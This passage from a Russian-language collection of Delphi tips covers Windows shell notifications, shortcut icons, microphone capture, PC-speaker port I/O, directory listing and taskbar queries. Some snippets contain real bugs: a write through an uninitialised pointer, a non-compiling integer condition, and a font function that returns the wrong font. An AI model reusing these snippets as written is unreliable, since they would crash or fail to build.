end;
procedure TShellNotification.DoNetUnShare(Path: string);
begin
  if Assigned(FOnNetUnShare) then
    FOnNetUnShare(Self, Path);
end;
procedure TShellNotification.DoRenameFolder(Path1, Path2: string);
begin
  if Assigned( FOnRenameFolder ) then
    FOnRenameFolder(Self, Path1, Path2);
end;
procedure TShellNotification.DoRenameItem(Path1, Path2: string);
begin
  if Assigned( FOnItemRename ) then
    FonItemRename(Self, Path1, Path2);
end;
procedure TShellNotification.DoServerDisconnect(Path: string);
begin
  if Assigned( FOnServerDisconnect ) then
    FOnServerDisconnect(Self, Path);
end;
function TShellNotification.GetActive: Boolean;
begin
  Result := (NotifyHandle <> 0) and (fActive);
end;
function TShellNotification.PathFromPidl(Pidl: PItemIDList): string;
begin
  SetLength(Result, Max_Path);
  if not SHGetPathFromIDList(Pidl, PChar(Result)) then
    Result := '';
  if pos(#0, Result) > 0 then
    SetLength(Result, pos(#0, Result));
end;
procedure TShellNotification.SetActive(const Value: Boolean);
begin
  if (Value <> fActive) then
  begin
    fActive := Value;
    if fActive then
      ShellNotifyRegister
    else
      ShellNotifyUnregister;
  end;
end;
procedure TShellNotification.SetPath(const Value: string);
begin
  if fPath <> Value then
  begin
    fPath := Value;
    ShellNotifyRegister;
  end;
end;
procedure TShellNotification.SetWatch(const Value: Boolean);
begin
  if fWatch <> Value then
  begin
    fWatch := Value;
    ShellNotifyRegister;
  end;
end;
procedure TShellNotification.SetWatchEvents(
const Value: TNotificationEvents);
begin
  if fWatchEvents <> Value then
  begin
    fWatchEvents := Value;
    ShellNotifyRegister;
  end;
end;
procedure TShellNotification.ShellNotifyRegister;
var
  NotifyRecord: PNOTIFYREGISTER;
  Flags: DWORD;
  Pidl: PItemIDList;
  Attributes: ULONG;
begin
  if not (csDesigning in ComponentState) and
  not (csLoading in ComponentState) then
  begin
    SHILCreatefromPath( PChar(fPath), Addr(Pidl), Attributes);
    NotifyRecord^.pidlPath := Pidl;
    NotifyRecord^.bWatchSubtree := fWatch;
    if NotifyHandle <> 0 then
      ShellNotifyUnregister;
    Flags := 0;
    if neAssociationChange in FWatchEvents then
      Flags := Flags or SHCNE_ASSOCCHANGED;
    if neAttributesChange in FWatchEvents then
      Flags := Flags or SHCNE_ATTRIBUTES;
    if neFileChange in FWatchEvents then
      Flags := Flags or SHCNE_UPDATEITEM;
    if neFileCreate in FWatchEvents then
      Flags := Flags or SHCNE_CREATE;
    if neFileDelete in FWatchEvents then
      Flags := Flags or SHCNE_DELETE;
    if neFileRename in FWatchEvents then
      Flags := Flags or SHCNE_RENAMEITEM;
    if neDriveAdd in FWatchEvents then
      Flags := Flags or SHCNE_DRIVEADD;
    if neDriveRemove in FWatchEvents then
      Flags := Flags or SHCNE_DRIVEREMOVED;
    if neShellDriveAdd in FWatchEvents then
      Flags := Flags or SHCNE_DRIVEADDGUI;
    if neDriveSpaceChange in FWatchEvents then
      Flags := Flags or SHCNE_FREESPACE;
    if neMediaInsert in FWatchEvents then
      Flags := Flags or SHCNE_MEDIAINSERTED;
    if neMediaRemove in FWatchEvents then
      Flags := Flags or SHCNE_MEDIAREMOVED;
    if neFolderCreate in FWatchEvents then
      Flags := Flags or SHCNE_MKDIR;
    if neFolderDelete in FWatchEvents then
      Flags := Flags or SHCNE_RMDIR;
    if neFolderRename in FWatchEvents then
      Flags := Flags or SHCNE_RENAMEFOLDER;
    if neFolderUpdate in FWatchEvents then
      Flags := Flags or SHCNE_UPDATEDIR;
    if neNetShare in FWatchEvents then
      Flags := Flags or SHCNE_NETSHARE;
    if neNetUnShare in FWatchEvents then
      Flags := Flags or SHCNE_NETUNSHARE;
    if neServerDisconnect in FWatchEvents then
      Flags := Flags or SHCNE_SERVERDISCONNECT;
    if neImageListChange in FWatchEvents then
      Flags := Flags or SHCNE_UPDATEIMAGE;
    NotifyHandle := SHChangeNotifyRegister(Handle,
    SHCNF_ACCEPT_INTERRUPTS or SHCNF_ACCEPT_NON_INTERRUPTS,
    Flags, SNM_SHELLNOTIFICATION, 1, NotifyRecord);
  end;
end;
procedure TShellNotification.ShellNotifyUnregister;
begin
  if NotifyHandle <> 0 then
    SHChangeNotifyDeregister(NotifyHandle);
end;
procedure TShellNotification.WndProc(var message: TMessage);
type
  TPIDLLIST = record
  pidlist : array[1..2] of PITEMIDLIST;
end;
PIDARRAY = ^TPIDLLIST;
var
  Path1 : string;
  Path2 : string;
  ptr : PIDARRAY;
  repeated : boolean;
  event : longint;
begin
  case message.Msg of
    SNM_SHELLNOTIFICATION:
    begin
      event := message.LParam and ($7FFFFFFF);
      Ptr := PIDARRAY(message.WParam);
      Path1 := PathFromPidl( Ptr^.pidlist[1] );
      Path2 := PathFromPidl( Ptr^.pidList[2] );
      repeated := (PrevEvent = event)
      and (uppercase(prevpath1) = uppercase(Path1))
      and (uppercase(prevpath2) = uppercase(Path2));
      if Repeated then
        exit;
      PrevEvent := message.Msg;
      prevPath1 := Path1;
      prevPath2 := Path2;
      case event of
        SHCNE_ASSOCCHANGED : DoAssociationChange;
        SHCNE_ATTRIBUTES : DoAttributesChange( Path1, Path2);
        SHCNE_CREATE : DoCreateFile(Path1);
        SHCNE_DELETE : DoDeleteFile(Path1);
        SHCNE_DRIVEADD : DoDriveAdd(Path1);
        SHCNE_DRIVEADDGUI : DoDriveAddGui(path1);
        SHCNE_DRIVEREMOVED : DoDriveRemove(Path1);
        SHCNE_MEDIAINSERTED : DoMediaInsert(Path1);
        SHCNE_MEDIAREMOVED : DoMediaRemove(Path1);
        SHCNE_MKDIR : DoDirCreate(Path1);
        SHCNE_NETSHARE : DoNetShare(Path1);
        SHCNE_NETUNSHARE : DoNetUnShare(Path1);
        SHCNE_RENAMEFOLDER : DoRenameFolder(Path1, Path2);
        SHCNE_RENAMEITEM : DoRenameItem(Path1, Path2);
        SHCNE_RMDIR : DoFolderRemove(Path1);
        SHCNE_SERVERDISCONNECT : DoServerDisconnect(Path);
        SHCNE_UPDATEDIR : DoDirUpdate(Path);
        SHCNE_UPDATEIMAGE : ;
        SHCNE_UPDATEITEM : ;
      end;
    end;
  end;
end;
end.

Получить иконку из ярлыка.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{How to get icon from a shortcut file ? 
I have found that if you use a ListView component, 
to show a list of files in any folder that contains shortcuts, 
then the shortcut icons do not appear correctly - 
they do not show the true icon of the application to which they relate. 
However, there is a a very useful feature of SHGetFileInfo, 
which is SHGFI_LINKOVERLAY. This adds the shortcut "arrow", 
which is shown in the bottom left corner of any shortcut icon. 
The demo code below shows the basic use of the SHGFI_LINKOVERLAY feature. 
I have added code to this demo, to distingiush between shortcut and non-shortcut files - 
 without this code, it will overlay the shortcut "arrow" irrespective of the file type. 
To show the icon of a shortcut, the following code can be used as a demo: 
1. Add the following components to a new project, and adjust their 
properties according to the code below: }
 // Code for DFM file: 
object Form1: TForm1
   Left = 379
   Top = 355
   Width = 479
   Height = 382
   Caption = 'Get Icon from Shortcut File'
   Color = clBtnFace
   Font.Charset = DEFAULT_CHARSET
   Font.Color = clWindowText
   Font.Height = -11
   Font.Name = 'MS Sans Serif'
   Font.Style = []
   OldCreateOrder = False
   PixelsPerInch = 96
   TextHeight = 13
   object ListView: TListView
     Left = 0
     Top = 73
     Width = 471
     Height = 275
     Align = alClient
     Columns = <
       item
         Width = 100
       end
       item
         Width = 100
       end>
     SmallImages = imgList
     TabOrder = 0
     ViewStyle = vsReport
   end
   object Panel: TPanel
     Left = 0
     Top = 0
     Width = 471
     Height = 73
     Align = alTop
     TabOrder = 1
     object btnGetFile: TButton
       Left = 16
       Top = 8
       Width = 75
       Height = 25
       Caption = 'Get file'
       TabOrder = 0
       OnClick = btnGetFileClick
     end
     object btnGetIcon: TButton
       Left = 104
       Top = 8
       Width = 75
       Height = 25
       Caption = 'Get icon'
       TabOrder = 1
       OnClick = btnGetIconClick
     end
     object edFileName: TEdit
       Left = 16
       Top = 40
       Width = 441
       Height = 21
       TabOrder = 2
     end
   end
   object dlgOpen: TOpenDialog
     Filter = 'Shortcut files|*.lnk|All files|*.*'
     Options = [ofHideReadOnly, ofNoDereferenceLinks,
       ofEnableSizing]  // - this is important ! 
    Left = 248
     Top = 8
   end
   object imgList: TImageList
     BlendColor = clWhite
     BkColor = clWhite
     Masked = False
     ShareImages = True
     Left = 216
     Top = 8
   end
 end
 // 2. Add the code to the PAS file below: 
unit cdShortCutIcon;
 interface
 uses
   Windows, Messages, SysUtils, Variants, Graphics, Controls, Forms,
   Dialogs, Buttons, ExtCtrls, StdCtrls, StrUtils, ShellAPI,
   CommCtrl, ImgList, ComCtrls, Classes;
 type
   TForm1 = class(TForm)
     dlgOpen: TOpenDialog;
     ListView: TListView;
     imgList: TImageList;
     Panel: TPanel;
     btnGetFile: TButton;
     btnGetIcon: TButton;
     edFileName: TEdit;
     procedure btnGetFileClick(Sender: TObject);
     procedure btnGetIconClick(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;
 var
   Form1: TForm1;
 implementation
 {$R *.dfm}
 procedure TForm1.btnGetFileClick(Sender: TObject);
 begin
   { choose file to get icon from }
   if dlgOpen.Execute then edFileName.Text := dlgOpen.FileName;
 end;
 procedure TForm1.btnGetIconClick(Sender: TObject);
 var
   Icon : TIcon;
   ListItem : TListItem;
   shInfo : TSHFileInfo;
   sFileType : string;
 begin
   { initialise ListView and Icon }
   ListView.SmallImages := imgList;
   Icon := TIcon.Create;
   try
     ListView.Items.BeginUpdate;
     ListItem := listview.items.add;{ Initialise ListView.Item.Add }
     { get details about file type from SHGetFileInfo }
     SHGetFileInfo(PChar(edFileName.Text), 0, shInfo,
       SizeOf(shInfo), SHGFI_TYPENAME);
     sFileType := shInfo.szTypeName;
     { is this a shortcut file ? }
     if shInfo.szTypeName = 'Shortcut' then
       SHGetFileInfo(PChar(edFileName.Text), 0, shInfo, SizeOf(shInfo),
         SHGFI_LINKOVERLAY or SHGFI_ICON or
         SHGFI_SMALLICON or SHGFI_SYSICONINDEX)
     else
       { ...otherwise treat it as a normal file}
       SHGetFileInfo(PChar(edFileName.Text), 0, shInfo, SizeOf(shInfo),
         SHGFI_ICON or SHGFI_SMALLICON or
         SHGFI_SYSICONINDEX);
     { assign icon }
     Icon.Handle := shInfo.hIcon;
     { List File name, Icon and FileType in ListView}
     ListItem.Caption := ExtractFileName(edFileName.Text);    //...add filename 
    ListItem.SubItems.Add(sFileType); //...and filetype.. 
    ListItem.ImageIndex := imgList.AddIcon(Icon); //...and icon. 
  finally
     ListView.Items.EndUpdate; //..free memory on icon and clean up. 
    sFileType := '';
     Icon.Free;
   end;
 end;
 end.

Как получить короткий путь файла если есть длинный.

// Короткий
GetShortPathName(LongPath) 
// Наоборот длинный
GetFullPathName(ShortPath)

Как считать сигнал с микрофона.

Программист выходит к микрофону, чтобы сказать речь. Подходит и стучит по микрофону: Тук-тук-тук, Раз, Два, Три... Из микрофона: "фХЛ-ФХЛ-ФХЛ, тБЪ, дЧБ, фТЙ..."

В Windows нет разделения каналов записи по источникам.

CD-ROM ----------|
|                |--- Динамики
Микрофон --------| |
|                   - Windows --|--- Записывающие программы
Линейный вход ---| |
|                |--- Линейный выход
MIDI ------------|

Все поступающие в систему звуки смешиваются, и лишь после этого их получает программа.

Для получения звукового сигнала нужно воспользоваться WinAPI. WaveInOpen открывает доступ к микрофону. Одновременно только одна программа может работать с микрофоном. Заодно Вы указываете, какая нужна частота, сколько бит на значение и размер буфера. От последнего зависит, как часто и в каком объеме информация будет поступать в программу.

Далее нужно выделить память для буфера и вызвать функцию WaveInAddBuffer, которая передаст Windows пустой буфер. После вызова WaveInStart Windows начнет заполнять буфер, и, после его заполнения, пошлет сообщение MM_WIM_DATA. В нем нужно обработать полученную информацию и вновь вызвать WaveInAddBuffer, тем самым указав, что буфер пуст.

Функции WaveInReset и WaveInClose прекратят поступление информации в программу и закроют доступ к микрофону.

Эта программа считывает сигнал с микрофона и выводит его на экран. Частота сигнала - 22050 Гц. Количество бит определяется флажком, размер буфера TrackBar-ом.

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls, ComCtrls, MMSystem;
type
  TData8 = array [0..127] of byte;
  PData8 = ^TData8;
  TData16 = array [0..127] of smallint;
  PData16 = ^TData16;
  TPointArr = array [0..127] of TPoint;
  PPointArr = ^TPointArr;
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    PaintBox1: TPaintBox;
    TrackBar1: TTrackBar;
    CheckBox1: TCheckBox;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure CheckBox1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    procedure OnWaveIn(var Msg: TMessage); message MM_WIM_DATA;
end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
var
  WaveIn: hWaveIn;
  hBuf: THandle;
  BufHead: TWaveHdr;
  bufsize: integer;
  Bits16: boolean;
  p: PPointArr;
  stop: boolean = false;
procedure TForm1.Button1Click(Sender: TObject);
var
  header: TWaveFormatEx;
  BufLen: word;
  buf: pointer;
begin
  BufSize := TrackBar1.Position * 500 + 100; { Размер буфера }
  Bits16 := CheckBox1.Checked;
  with header do
  begin
    wFormatTag := WAVE_FORMAT_PCM;
    nChannels := 1; { количество каналов }
    nSamplesPerSec := 22050; { частота }
    wBitsPerSample := integer(Bits16) * 8 + 8; { 8 / 16 бит }
    nBlockAlign := nChannels * (wBitsPerSample div 8);
    nAvgBytesPerSec := nSamplesPerSec * nBlockAlign;
    cbSize := 0;
  end;
  WaveInOpen(Addr(WaveIn), WAVE_MAPPER, addr(header),
  Form1.Handle, 0, CALLBACK_WINDOW);
  BufLen := header.nBlockAlign * BufSize;
  hBuf := GlobalAlloc(GMEM_MOVEABLE and GMEM_SHARE, BufLen);
  Buf := GlobalLock(hBuf);
  with BufHead do
  begin
    lpData := Buf;
    dwBufferLength := BufLen;
    dwFlags := WHDR_BEGINLOOP;
  end;
  WaveInPrepareHeader(WaveIn, Addr(BufHead), sizeof(BufHead));
  WaveInAddBuffer(WaveIn, addr(BufHead), sizeof(BufHead));
  GetMem(p, BufSize * sizeof(TPoint));
  stop := true;
  WaveInStart(WaveIn);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  if stop = false then
    Exit;
  stop := false;
  while not stop do
    Application.ProcessMessages;
  stop := false;
  WaveInReset(WaveIn);
  WaveInUnPrepareHeader(WaveIn, addr(BufHead), sizeof(BufHead));
  WaveInClose(WaveIn);
  GlobalUnlock(hBuf);
  GlobalFree(hBuf);
  FreeMem(p, BufSize * sizeof(TPoint));
end;
procedure TForm1.OnWaveIn;
var
  i: integer;
  data8: PData8;
  data16: PData16;
  h: integer;
  XScale, YScale: single;
begin
  h := PaintBox1.Height;
  XScale := PaintBox1.Width / BufSize;
  if Bits16 then
  begin
    data16 := PData16(PWaveHdr(Msg.lParam)^.lpData);
    YScale := h / (1 shl 16);
    for i := 0 to BufSize - 1 do
      p^[i] := Point(round(i * XScale),
    round(h / 2 - data16^[i] * YScale));
  end
  else
  begin
    Data8 := PData8(PWaveHdr(Msg.lParam)^.lpData);
    YScale := h / (1 shl 8);
    for i := 0 to BufSize - 1 do
      p^[i] := Point(round(i * XScale),
    round(h - data8^[i] * YScale));
  end;
  with PaintBox1.Canvas do
  begin
    Brush.Color := clWhite;
    FillRect(ClipRect);
    Polyline(Slice(p^, BufSize));
  end;
  if stop then
    WaveInAddBuffer(WaveIn, PWaveHdr(Msg.lParam), SizeOf(TWaveHdr))
  else
    stop := true;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
  Button2.Click;
end;
procedure TForm1.CheckBox1Click(Sender: TObject);
begin
  if stop then
  begin
    Button2.Click;
    Button1.Click;
  end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  TrackBar1.OnChange := CheckBox1Click;
  Button1.Caption := 'Start';
  Button2.Caption := 'Stop';
  CheckBox1.Caption := '16 / 8 bit';
end;
end.

Извлечение звуков из системного динамика под Windows95.

Обьявление в газете: Куплю Windows б/в.
procedure Sound(Freq: Word);
var
  B: Byte;
begin
  if Freq > 18 then
  begin
    Freq := Word(1193181 div LongInt(Freq));
    B := Byte(GetPort($61));
    if (B and 3) = 0 then
    begin
      SetPort($61, Word(B or 3));
      SetPort($43, $B6);
    end;
    SetPort($42, Freq);
    SetPort($42, Freq shr 8);
  end;
end;
procedure NoSound;
var
  Value: Word;
begin
  Value := GetPort($61) and $FC;
  SetPort($61, Value);
end;
procedure SetPort(address, Value: Word);
var
  bValue: byte;
begin
  bValue := trunc(Value and 255);
  asm
    mov dx, address
    mov al, bValue
    out dx, al
  end;
end;
function GetPort(address: word): word;
var
  bValue: byte;
begin
  asm
    mov dx, address
    in al, dx
    mov bValue, al
  end;
  GetPort := bValue;
end;

Под WinNT вы можете использовать Beep(Tone, Duration) (задавать тон и продолжительность звучания).

Извлечение звуков из системного динамика под Windows95 2.

Автор: Steve Keyser
Хакер Петя любит Windows! Хакер Вася любит Windows! И хакер Серёжа тоже любит Windows! А Windows их всех НЕНАВИДИТ!

Вот мой старый способ, которым я извлекал звуки в Visual Basic (это было много времени назад) с помощью функций API. Ниже приведена функция, требующая на входе два параметра: тон и длительность воспроизведения. (Примечание: функции Windows API требуют гораздо большее количество параметров, но вам нужно беспокоиться только о тех, которые изменяются от вызова до вызова... т.е. только о тоне и длительности.).

procedure MakeSound(note, duration: integer);
{
Цель:      Проигрывание звуков на динамике PC.
Параметры: note = шаг тона (правильный диапазон с 1 по 84 (1
самый низкий тон и 84 самый высокий)
duration = продолжительность звучания (допустимый диапазон
с 1 по 128... но это мои догадки... чем меньше значение
тем короче продолжительность)
}
var
  result: integer;
begin
  {проверка на правильность величины... должно быть 1-84}
  if (note < 1) or (note > 84) then
    exit;
  {проверка на правильность величины... по моим догадкам, должно быть
  в диапазоне от 1 до 128}
  if (duration < 1) or (duration > 128) then
    exit;
  {открываем звуковой канал}
  result := OpenSound;
  {устанавливаем размер звуковой очереди (не очищайте это! Я думаю что
  каждая нота требует 6 байт.)}
  result := SetVoiceQueueSize(1, 6);
  {устанавливаем звуковую ноту (и ее длительность)}
  result := SetVoiceNote(1, note, duration, 1);
  {проигрываем ноту}
  result := StartSound;
  {ожидаем окончания звучания}
  result := WaitSoundState(S_QUEUEEMPTY);
  {закрываем звуковой канал}
  CloseSound;
end;

Затем можно вызвать эту функцию следующим образом...

MakeSound(1,1);
MakeSound(32,10); 

Эти две строчки заставят динамик вашего PC зазвучать сначала в низком диапазоне (продолжительностью в секунду или две), и затем немного дольше в более высоком диапазоне.

Получить звук с микрофона.

Обнаружен новый вирус Владимир Владимирович, при его обнаружении антивирус сам стирает все на винте.

Сначала надо создать пустой аудио файл, допустим Windows Audio Recorder, причем какие у него будут параметры, такие будут и у результирующего файла, затем с помощью var Media:TMediaPlayer.

procedure TForm1.btRecordClick(Sender: TObject);
begin
  with Media do
  begin
    { Set FileName to the test.wav file to }
    { get the recording parameters. }
    FileName := 'd:\test.wav';
    { Open the device. }
    Open;
    { Start recording. }
    Wait := False;
    StartRecording;
  end;
end;
procedure TForm1.btStopClick(Sender: TObject);
begin
  with Media do
  begin
    { Stop recording. }
    Stop;
    { Change the filename to the new file we want to write. }
    FileName := 'd:\new.wav';
    { Save and close the file. }
    Save;
    Close;
  end;
end;

Получить все поддиректории указанной директории.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure GetSubDirs(const sRootDir: string; slt: TStrings);
 var
   srSearch: TSearchRec;
   sSearchPath: string;
   sltSub: TStrings;
   i: Integer;
 begin
   sltSub := TStringList.Create;
   slt.BeginUpdate;
   try
     sSearchPath := AddDirSeparator(sRootDir);
     if FindFirst(sSearchPath + '*', faDirectory, srSearch) = 0 then
       repeat
         if ((srSearch.Attr and faDirectory) = faDirectory) and
           (srSearch.Name <> '.') and
           (srSearch.Name <> '..') then
         begin
           slt.Add(sSearchPath + srSearch.Name);
           sltSub.Add(sSearchPath + srSearch.Name);
         end;
       until (FindNext(srSearch) <> 0);
     FindClose(srSearch);
     for i := 0 to sltSub.Count - 1 do
       GetSubDirs(sltSub.Strings[i], slt);
   finally
     slt.EndUpdate;
     FreeAndNil(sltSub);
   end;
 end;

Взять один символ из потока памяти.

Статьи по Delphi (009)…
- Создали новый компьютер, "Майк Тайсон" назвали. - Ну и в чем главное отличие? - Два байта памяти.
 unit MsFormR;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls;
type
  TForm1 = class(TForm)
    OpenDialog1: TOpenDialog;
    SaveDialog1: TSaveDialog;
    Memo1: TMemo;
    ListBox1: TListBox;
    Panel1: TPanel;
    Button1: TButton;
    Button2: TButton;
    Splitter1: TSplitter;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    MemStr1: TMemoryStream;
  public
    procedure ShowMemStr;
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
  MemStr1 := TMemoryStream.Create;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  Str1: TFileStream;
begin
  OpenDialog1.Filter :=
    'Any file (*.*)|*.*';
  OpenDialog1.DefaultExt := '*';
  if OpenDialog1.Execute then
  begin
    Str1 := TFileStream.Create (
      OpenDialog1.Filename, fmOpenRead);
    try
      MemStr1.LoadFromStream (Str1);
      ShowMemStr;
      Button2.Enabled := true;
    finally
      Str1.Free;
    end;
  end;
end;
procedure TForm1.ShowMemStr;
begin
  Memo1.Lines.LoadFromStream (MemStr1);
end;
procedure TForm1.Button2Click(Sender: TObject);
const
  ndx: LongInt = 1;
var
  pch:  PChar;
  tmpC: Char;
begin
  pch := MemStr1.Memory;
  tmpC := pch[ndx];
  pch[ndx] := #0;
  ListBox1.Items.SetText(MemStr1.Memory);
  pch[ndx] := tmpC;
  if ndx < MemStr1.Size then
    Inc(ndx)
  else
    Button2.Enabled := False;
end;
end.

Загрузить весь проект

Получить системный фокус приложения.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function GetSysFocus: Integer;
 var
   hFgWin, FgThreadID, hFocusWin: Integer;
 begin
   hFgWin     := GetForegroundWindow;
   FgThreadID := GetWindowThreadProcessID(hFgWin, nil);
   if AttachThreadInput(GetCurrentThreadID, FgThreadID, True) then
   begin
     hFocusWin := GetFocus;
     Result    := GetFocus;
     AttachThreadInput(GetCurrentThreadID, FgThreadID, False);
   end
   else
     Result := GetFocus;
 end;

Вывести информацию о системе.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  The SYSTEM_INFO structure contains information about the current computer 
  system. This includes the architecture and type of the processor, the number of 
  processors in the system, the page size, and other such information. 
}
 procedure TForm1.Button1Click(Sender: TObject);
 var
   SysInfo: TSystemInfo;
 begin
   GetSystemInfo(SysInfo);
   with ListBox1.Items, SysInfo do
   begin
     Add('ProcessorArchitecture:' + IntToStr(wProcessorArchitecture));
     Add(FloatToStr(dwPageSize) + ' Kb page size');
     Add(Format('Lowest memory address accessible to applications and DLL - %p',
       [lpMinimumApplicationAddress]));
     Add(Format('Highest memory address accessible to applications and DLL - %p',
       [lpMaximumApplicationAddress]));
     Add('OEMID:' + IntToStr(dwOemId));
     Add('ActiveProcessorMask:' + IntToStr(dwActiveProcessorMask));
     Add(IntToStr(dwNumberOfProcessors) + ' - number of processors');
     Add('ProcessorType:' + IntToStr(dwProcessorType));
     case wProcessorLevel of
       3: Add('Intel 80386 processor level');
       4: Add('Intel 80486 processor level');
       5: Add('Intel Pentium processor level');
     end;
     Add(FloatToStr(dwAllocationGranularity / 1024) +
       ' Kb - granularity with which virtual memory is allocated');
     Add('ProcessorRevision:' + IntToStr(wProcessorRevision));
   end;
 end;

Получить шрифт системного меню.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function GetMenuFont: TFont;
 var
   ncm: TNonClientMetrics;
 begin
   ncm.cbSize := SizeOf(TNonClientMetrics);
   SystemParametersInfo(SPI_GETNONCLIENTMETRICS, SizeOf(TNonClientMetrics), @ncm, 0);
   Result := TFont.Create;
   { 
  lfCaptionFont - regular captions 
  lfSmCaptionFont - small captions 
  lfMenuFont - menus 
  lfStatusFont - status bars 
  lfMessageFont - message boxes 
  }
   Result.Handle := CreateFontIndirect(ncm.lfCaptionFont);
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   label1.Caption := GetMenuFont.Name;
 end;

Получение информации о таблице.

Вам нужно воспользоваться свойством FieldDefs. В следующем примере список полей и их соответствующий размер передается компоненту TMemo (расположенному на форме) с именем Memo1:

procedure TForm1.ShowFields;
var
  i: Word;
begin
  Memo1.Lines.Clear;
  Table1.FieldDefs.Update;                     
  { должно быть вызвано, если Table1 не активна }
  for i := 0 to Table1.FieldDefs.Count - 1 do
    With Table1.FieldDefs.Items[i] do
      Memo1.Lines.Add(Name + ' - ' + IntToStr(Size));
end;

Если вам просто нужны имена полей (FieldNames), то используйте метода TTable GetFieldNames: GetIndexNames для получения имен индексов:

var 
  FldNames, IdxNames : TStringList;
begin
  FldNames := TStringList.Create;
  IdxNames := TStringList.Create;
  If Table1.State = dsInactive then 
    Table1.Open;
  Table1.GetFieldNames(FldNames);
  Table1.GetIndexNames(IdxNames);
  {...... используем полученную информацию ......}
  FldNames.Free; {освобождаем stringlist}
  IdxNames.Free;
end;

Для получения информации об определенном поле вы должны использовать FieldDef.

Получение физического пути к таблице.

Автор: Xavier Pacheco

Если ссылка на таблицу получена через псевдоним, получить физический путь к ней не так просто. Для получения этого пути необходимо использовать функцию BDE DbiGetDatabaseDesc. Данной функции в качестве параметров передаются имя псевдонима и указатель на структуру DBDesc. Структура DBDesc будет заполнена информацией, относящейся к этому псевдониму. Определение структуры:

pDBDesc = ^DBDesc;
DBDesc = packed record        { Описание данной базы данных }
szName          : DBINAME;    { Логическое имя (или псевдоним) }
szText          : DBINAME;    { Описательный текст }
szPhyName       : DBIPATH;    { Физическое имя/путь }
szDbType        : DBINAME;    { Тип базы данных }
end;
Физическое имя/путь будет содержаться в поле szPhyName структуры DBDesc. Возможные значения, возвращаемые функцией DBIGetDatbaseDesc:
DBIERR_NONE             Описание базы данных для pszName было успешно извлечено.
DBIERR_OBJNOTFOUND      База данных, указанная в pszName, не была обнаружена.

Приведенный ниже пример кода показывает как можно получить физический путь для компонента TTable, использующего псевдоним DBDemos:

var
  vDBDesc: DBDesc;
  DirTable: String;
begin
  Check(DbiGetDatabaseDesc(PChar(Table1.DatabaseName), @vDBDesc));
  DirTable := Format('%s\%s', [vDBDesc.szPhyName, Table1.TableName]);
  ShowMessage(DirTable);
end;

Получить дескриптор панели задач.

Используем функцию нахождения окна FindWindow, указывая ей в качестве параметров сначала название класса окна, затем его заголовок. Если окно будет найдено, функция выдаст его дескриптор.

handle_taskbar := FindWindow('Shell_TrayWnd', nil);

Получение информации о TaskBar.

Для вывода информации мы будет использовать компонент TStringGrid с закладки Additional.

Сначала вам нужно будет после.

var
  Form1: TForm1;

Добавить следующий код:

AppBarData : TAppBarData;
bAlwaysOnTop, bAutoHide : boolean;
Clrect,rect : TRect;
Edge: UInt;

Затем после слова Implementation пишем.

procedure DetectTaskBar;
begin
  AppBarData.hWnd := FindWindow('Shell_TrayWnd', nil);
  AppBarData.cbSize := sizeof(AppBarData);
  bAlwaysOnTop := (SHAppBarMessage(ABM_GETSTATE, AppBardata)
  and ABS_ALWAYSONTOP) <> 0;
  bAutoHide := (SHAppBarMessage(ABM_GETSTATE, AppBardata)
  and ABS_AUTOHIDE) <> 0;
  GetClientRect(AppBarData.hWnd, Clrect);
  GetWindowRect(AppBarData.hwnd, rect);
  if rect.top > 0 then
    Edge := ABE_BOTTOM
  else
  if rect.bottom then
    Edge:=ABE_TOP
  else
  if rect.right then
    Edge:=ABE_LEFT
  else
    Edge:=ABE_RIGHT;
end;

И осталось описать самое главное - обработчик нажатия кнопки:

procedure TForm1.Button1Click(Sender: TObject);
begin
  DetectTaskBar;
  StringGrid1.Cells[0,0] := 'Выше других окон';
  StringGrid1.Cells[0,1] := 'Автоматически убирать с экрана';
  StringGrid1.Cells[0,2] := 'Клиентская область';
  StringGrid1.Cells[0,3] := 'Оконная область';
  StringGrid1.Cells[0,4] := 'Края';
  if bAlwaysOnTop = true then
    StringGrid1.Cells[1,0] := 'true'
  else
    StringGrid1.Cells[1,0] := 'false';
  if bAutoHide = true then
    StringGrid1.Cells[1,1] := 'true'
  else
    StringGrid1.Cells[1,1] := 'false';
  StringGrid1.Cells[1,2] := IntToStr(Clrect.Left)+':'+IntToStr(Clrect.Top) +
  ':'+IntToStr(Clrect.Right)+':'+IntToStr(Clrect.Bottom);
  StringGrid1.Cells[1,3] := IntToStr(rect.Left)+':'+IntToStr(rect.Top) +
  ':'+IntToStr(rect.Right)+':'+IntToStr(rect.Bottom);
  StringGrid1.Cells[1,4] := IntToStr(Edge);
end;

Определить позицию панели задач.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{With SHAppBarMessage }
 uses
   ShellAPI;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   tabd: TAppBarData;
   PosString: string;
 begin
   FillChar(tabd, SizeOf(TAppBarData), 0);
   tabd.cbSize := SizeOf(TAppBarData);
   if SHAppBarMessage(ABM_GETTASKBARPOS, Tabd) = 0 then Exit;
   with Tabd.rc do
     PosString := Format(' (%d, %d);(%d, %d) ', [Left, Top, Right, Bottom]);
   case tabd.uEdge of
     ABE_LEFT: ShowMessage('Left Position' + PosString);
     ABE_TOP: ShowMessage('Top Position' + PosString);
